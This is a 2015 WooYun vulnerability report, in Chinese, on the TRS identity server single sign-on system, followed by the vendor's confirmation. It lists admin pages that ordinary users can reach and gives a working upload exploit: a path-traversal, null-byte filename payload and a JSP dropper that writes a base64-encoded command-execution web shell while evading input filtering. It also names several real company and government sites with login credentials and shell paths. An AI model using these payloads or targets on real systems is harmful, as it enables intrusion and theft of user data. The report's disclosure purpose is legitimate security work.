当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092422

漏洞标题:拓尔思某系统越权操作大集合及GETSHELL

相关厂商:北京拓尔思信息技术股份有限公司

漏洞作者: sex is not show

提交时间:2015-01-17 18:03

修复时间:2015-04-17 18:04

公开时间:2015-04-17 18:04

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-17: 细节已通知厂商并且等待厂商处理中
2015-01-20: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向第三方安全合作伙伴开放
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-17: 细节向公众公开

简要描述:

老版本 和 二次开发的貌似部分不受影响... 安全无止境!

详细说明:

/*
*说明:
*Copyright ©2004 - 2006 TRS 不受影响
*Copyright ©2004 - 2008 TRS 不受影响
*以及部分二次开发的不受影响
*--------------------------------------
*越权可查看用户信息,几个案例用户加加都有上百万了~
*/
程序名称:TRS身份服务器单点登录系统
漏洞类型:越权操作 & 任意文件上传GETSHELL
漏洞文件:
越权操作的(多少个点我也没数,反正就那么多):

/ids/admin/sys/system/editSysParaCfg.jsp   系统参数设置
/ids/admin/sys/system/editRegCfg.jsp 系统注册相关参数设置 (可改接收邮箱...)
/ids/admin/sys/system/editRealNameCfg.jsp 实名认证相关参数设置(可设置上传路径及上传类型)
/ids/admin/sys/system/editLoginCfg.jsp 用户登录相关参数配置
/ids/admin/sys/verifyCode/editVerifyCodeParaCfg.jsp 验证码参数设置
/ids/admin/sys/navigation.jsp 系统配置
/ids/admin/notifycation/list.jsp 邮件发送列表
/ids/admin/notifycation/detailMessage.jsp?id=xxx 通知模块(里面都是注册密码明文)
/ids/admin/user/list.jsp 用户列表(可重置密码)
/ids/admin/ldap/domain/config_dir.jsp LDAP目录设置信息
/ids/admin/ad/domain/add.jsp 增加域啥信息
/ids/admin/sys/database/viewDbInfoCfg.jsp 查看数据库连接
/ids/admin/sys/http/edit.jsp HTTP参数设定
ids/admin/sys/accessPermission/edit.jsp 访问控制全局参数设定
/ids/admin/sys/auth/editCACfg.jsp 证书参数设置
/ids/admin/sys/customfield/addColumn.jsp?boName=User 添加属性
/ids/admin/sys/customfield/list.jsp 属性列表
/ids/admin/sys/group/editGroupAttributesMapping.jsp 机构参数设置
/ids/admin/sys/sso/edit.jsp 跨域单点登录参数设定
/ids/admin/sys/synchronize/synchronizationConfig.jsp 同步服务器参数设定
http://idss.haier.net/ids/admin/sys/synchronize/listSynchronizer.jsp 同步服务器列表
/ids/admin/coapp/viewUserSynchronization.jsp 系统[ids]的用户同步配置
/ids/admin/archivelog/config.jsp 是否日志归档


任意文件上传:
account/uploadAuthInfo.jsp
利用方式:

mask 区域
*****^^数等一系列管理操作;普通用户有一个上传身份证的页面,*****


一:
先看越权吧,挑其中比较严重的演示,其他都测试过,确实存在权限过滤不严问题
案例1:

mask 区域
1.http://**.**.**/ids/_
*****^trsadmin*****


先登录进去:

1.jpg


查看用户列表(2W+用户):
http://www.******.com/ids/admin/user/list.jsp

1.jpg


配置实名认证:
http://www.*****.com/ids/admin/sys/system/editRealNameCfg.jsp

1.jpg


系统参数设置:
http://www.***.com/ids/admin/sys/system/editSysParaCfg.jsp

1.jpg


待发送消息队列:
http://www.****.com/ids/admin/notifycation/list.jsp

1.jpg


实例2:

mask 区域
1.http://**.**.**/ids/  _
*****^trsadmin*****


同样,先登录普通用户:
http://****.net/ids/account/main.jsp

1.jpg


然后访问用户列表(42W+用户):
http://*****.net/ids/admin/user/list.jsp

1.jpg


再看数据库连接信息:
http://***.net/ids/admin/sys/database/viewDbInfoCfg.jsp

1.jpg


再看系统注册相关参数设置(可改管理员邮箱):
http://****.net/ids/admin/sys/system/editRegCfg.jsp

1.jpg


实例3:

mask 区域
1.https://**.**.**/ids/admin/login.jsp _
*****^trsadmin*****


步骤一样,直接登录看用户列表(45+用户):
https://www.*****.gov.cn/ids/admin/user/list.jsp

1.jpg


在看新建Active Directory域:
https://www.****.gov.cn/ids/admin/ad/domain/add.jsp

1.jpg


实例4:

mask 区域
1.http://**.**.**/ids/admin/_
*****^trsadmin*****


登录访问用户列表(20W+用户):

1.jpg


再看证书参数设置:
http://******.com.cn/ids/admin/sys/auth/editCACfg.jsp

1.jpg


再看跨域单点登录参数设定:
http://*****.com.cn/ids/admin/sys/sso/edit.jsp

1.jpg


实例5:

mask 区域
1.http://**.**.**/ids/admin/_
*****^trsadmin*****


同样登录访问用户列表:

1.jpg


再看:
http://****.ac.cn/ids/admin/sys/navigation.jsp

1.jpg

漏洞证明:

二:
看任意文件上传
文件:/ids/account/uploadAuthInfo.jsp
部分代码贴出来:

if (this.realNameAuthenticationService.isApply(userName)) {//如果上传过,文件名用用户名命名,文件名可控,导致可截断上传
UserRealNameInfo uRealNameInfo = null;
uRealNameInfo = this.realNameAuthenticationManager.find(userName);
uploadFile = this.imageFileManager.find(uRealNameInfo.getUploadFileId());
uploadFile.setNewFileName(userName + "." + fileType);
uploadFile.setUploadTime(System.currentTimeMillis());
uploadFile.setOriginalFileName(fileName);
uploadFile.setFileSize(fileSize);
uploadFile.setImageUrl(uploadPath);
uploadFile.setType(type);
this.imageFileManager.update(uploadFile);
LOG.debug("update User realName authentication upload file success :" + uploadFile);
}
else {
uploadFile.setNewFileName(userName + "." + fileType);//同上,这里是第一次上传走这里
uploadFile.setUploadTime(System.currentTimeMillis());
uploadFile.setOriginalFileName(fileName);
uploadFile.setFileSize(fileSize);
uploadFile.setImageUrl(uploadPath);
uploadFile.setNewFileName(DateUtil.timeMillisToString(System.currentTimeMillis(), "yyyyMM") +
File.separator + uploadFile.getNewFileName());
uploadFile.setType(type);
this.imageFileManager.add(uploadFile);
LOG.debug("add User realName authentication upload file success :" + uploadFile);
}


因为trs默认上传到/WEB-INF/private/目录下,这里有两种方式来突破,一种是通过文件名来跳转:/../../../username.jsp%00.jpg ,这样就会在/ids/目录下生成shell文件。另一种是通过/ids/admin/sys/system/editRealNameCfg.jsp 实名认证相关参数设置(可设置上传路径及上传类型)配置上传路径,这样只需要文件名username.jsp%00.jpg截断即可,文件是存放在/ids/设置的目录/当前年月/用户名.jsp
实例1:
http://idss.haier.net/ids/
用户名密码:trsadmin1/trsadmin1
上传后shell地址:http://******.net/ids/account/201501/trsadmin1.jsp

1.jpg


实例2:
http://app.sdwr.gov.cn/ids/admin/login.jsp
用户名密码:trsadmin1/trsadmin1
shell地址:http://app.****.gov.cn/ids/trsadmin1.jsp

1.jpg


实例3:
http://ids.shjnet.cn/ids/admin/login.jsp
用户名密码:trsadmin1/trsadmin1
shell地址:http://ids.*****.cn/ids/201501/trsadmin1.jsp

1.jpg


实例4:
http://www.catr.cn/ids/
用户名密码:trsadmin1/trsadmin1
shell:http://www.****.cn/ids/trsadmin1.jsp

1.jpg


实例5:
http://www.hisense.com/ids/
用户名密码:trsadmin1/trsadmin1
这个有过滤,对提交的inputstream有检查,有exec、XXXputStream等关键字都过滤,一般shell里都带有这样的关键字,这里可以通过trsids-server.jar本身提供的FileUtil来实现写shell:
com.trs.idm.utilFileUtil.class中,我们只需要这两个函数足矣

public static void createTxtFile(File f)
{
if (!f.exists()) {
try {
f.createNewFile();
} catch (IOException e) {
LOG.error("error while create new file: " + f, e);
}
LOG.debug(f + "已创建!");
} else {
LOG.debug(f + "已已存在!");
}
}
public static void out(File f, String str)
{
out(f, str, "");
}
public static void out(File f, String str, String enc)
{
if (StringHelper.isEmpty(enc)) {
enc = "UTF-8";
}
FileOutputStream fos = null;
OutputStreamWriter out = null;
BufferedWriter writer = null;
try {
fos = new FileOutputStream(f, true);
out = new OutputStreamWriter(fos, enc);
writer = new BufferedWriter(out);
writer.write(str);
writer.newLine();
writer.flush();
LOG.debug("write str: " + str + " to file: " + f);
} catch (IOException e) {
LOG.error("error while write string: " + str + " to file: " + f, e);
try
{
if (writer != null) {
writer.close();
writer = null;
}
if (out != null) {
out.close();
out = null;
}
} catch (IOException e) {
LOG.error("error while close writer and out", e);
}
}
finally
{
try
{
if (writer != null) {
writer.close();
writer = null;
}
if (out != null) {
out.close();
out = null;
}
} catch (IOException e) {
LOG.error("error while close writer and out", e);
}
}
}


/**
*调用已知jar文件中的工具类,突破数据流检测,成功getshell
*/
<%@ page import="sun.misc.BASE64Decoder,java.io.*,java.util.*,com.trs.idm.util.FileUtil" contentType="text/html;charset=UTF-8"%>//引入FileUtil
<%
String str = "/TRS/TRSIDS3.5/webapps/ids/account/trsadmin11.jsp";
File f = new File(str);
FileUtil.createTxtFile(f);
StringBuffer sb = new StringBuffer("");
sb.append("PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+PCV0cnkge1N0cmluZyBjbWQgPSByZXF1ZXN0L");
sb.append("mdldFBhcmFtZXRlcigiY21kIik7UHJvY2VzcyBjaGlsZCA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpLmV");
sb.append("4ZWMoY21kKTtJbnB1dFN0cmVhbSBpbiA9IGNoaWxkLmdldElucHV0U3RyZWFtKCk7aW50IGM7d2hpbG");
sb.append("UgKChjID0gaW4ucmVhZCgpKSAhPSAtMSkge291dC5wcmludCgoY2hhciljKTt9aW4uY2xvc2UoKTt0cn");
sb.append("kge2NoaWxkLndhaXRGb3IoKTt9IGNhdGNoIChJbnRlcnJ1cHRlZEV4Y2VwdGlvbiBlKSB7ZS5wcmludFN");
sb.append("0YWNrVHJhY2UoKTt9fSBjYXRjaCAoSU9FeGNlcHRpb24gZSkge1N5c3RlbS5lcnIucHJpbnRsbihlKTt9JT4=");
String base64_str = new String((new BASE64Decoder()).decodeBuffer(sb.toString()));
FileUtil.out(f,base64_str);
%>
上传上面的文件,配合用户名那的截断,然后访问用户名.jsp,会在指定的文件夹下生成shell文件
shell地址:http://www.*****.com/ids/account/trsadmin11.jsp?cmd=id

1.jpg


修复方案:

相信你们懂的~·

版权声明:转载请注明来源 sex is not show@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-01-20 11:12

厂商回复:

感谢您的反馈,经确认,此问题在早期个别非正式发布版本中存在,因定制增加部分功能(不常用,可关闭)导致问题的引入,后续发布版本(2013年底至今)均不存在。将对受影响版本提供安全补丁包并尽快安排对存在风险的用户系统进行修复。
*** 安全无止境,我们一直在努力!***

最新状态:

暂无